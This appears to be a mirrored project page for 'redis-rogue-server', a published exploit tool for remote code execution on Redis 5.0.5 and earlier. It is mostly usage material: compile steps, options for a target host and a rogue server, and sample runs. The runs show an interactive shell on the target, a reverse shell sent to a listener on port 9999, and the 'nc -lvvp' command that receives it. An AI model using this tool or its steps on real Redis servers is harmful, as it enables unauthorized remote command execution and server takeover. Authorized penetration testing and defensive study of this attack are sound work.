项目作者: n0b0dyCN

项目描述 :
Redis(<=5.0.5) RCE
高级语言: C
项目地址: git://github.com/n0b0dyCN/redis-rogue-server.git
创建时间: 2019-07-07T17:39:37Z
项目社区:https://github.com/n0b0dyCN/redis-rogue-server

开源协议:Apache License 2.0

下载


Redis Rogue Server

A exploit for Redis(<=5.0.5) RCE, inspired by Redis post-exploitation.

Support interactive shell and reverse shell!

Requirements

Python 3.6+

If you want to modify or recompile the redis module, you also require make.

Usage

Compile exploit:

  1. cd RedisModulesSDK/exp/
  2. make

Copy the .so file to same folder with redis-rogue-server.py.

  1. ./redis-rogue-server.py -h
  2. ______ _ _ ______ _____
  3. | ___ \ | (_) | ___ \ / ___|
  4. | |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
  5. | // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
  6. | |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
  7. \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
  8. __/ |
  9. |___/
  10. @copyright n0b0dy @ r3kapig
  11. Usage: redis-rogue-server.py [options]
  12. Options:
  13. -h, --help show this help message and exit
  14. --rhost=REMOTE_HOST target host
  15. --rport=REMOTE_PORT target redis port, default 6379
  16. --lhost=LOCAL_HOST rogue server ip
  17. --lport=LOCAL_PORT rogue server listen port, default 21000
  18. --exp=EXP_FILE Redis Module to load, default exp.so
  19. -v, --verbose Show full data stream

Example

Interactive shell

  1. ./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1
  2. ______ _ _ ______ _____
  3. | ___ \ | (_) | ___ \ / ___|
  4. | |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
  5. | // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
  6. | |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
  7. \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
  8. __/ |
  9. |___/
  10. @copyright n0b0dy @ r3kapig
  11. [info] TARGET 127.0.0.1:6379
  12. [info] SERVER 127.0.0.1:21000
  13. [info] Setting master...
  14. [info] Setting dbfilename...
  15. [info] Loading module...
  16. [info] Temerory cleaning up...
  17. What do u want, [i]nteractive shell or [r]everse shell: i
  18. [info] Interact mode start, enter "exit" to quit.
  19. [<<] whoami
  20. [>>] :n0b0dy
  21. [<<]

Reverse shell

Invoke reverse shell:

  1. ./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1
  2. ______ _ _ ______ _____
  3. | ___ \ | (_) | ___ \ / ___|
  4. | |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __
  5. | // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__|
  6. | |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ |
  7. \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_|
  8. __/ |
  9. |___/
  10. @copyright n0b0dy @ r3kapig
  11. [info] TARGET 127.0.0.1:6379
  12. [info] SERVER 127.0.0.1:21000
  13. [info] Setting master...
  14. [info] Setting dbfilename...
  15. [info] Loading module...
  16. [info] Temerory cleaning up...
  17. What do u want, [i]nteractive shell or [r]everse shell: r
  18. [info] Open reverse shell...
  19. Reverse server address: 127.0.0.1
  20. Reverse server port: 9999
  21. [info] Reverse shell payload sent.
  22. [info] Check at 127.0.0.1:9999
  23. [info] Unload module...

Receive reverse shell:

  1. nc -lvvp 9999
  2. Listening on [0.0.0.0] (family 0, port 9999)
  3. Connection from localhost.localdomain 39312 received!
  4. whoami
  5. n0b0dy

Thanks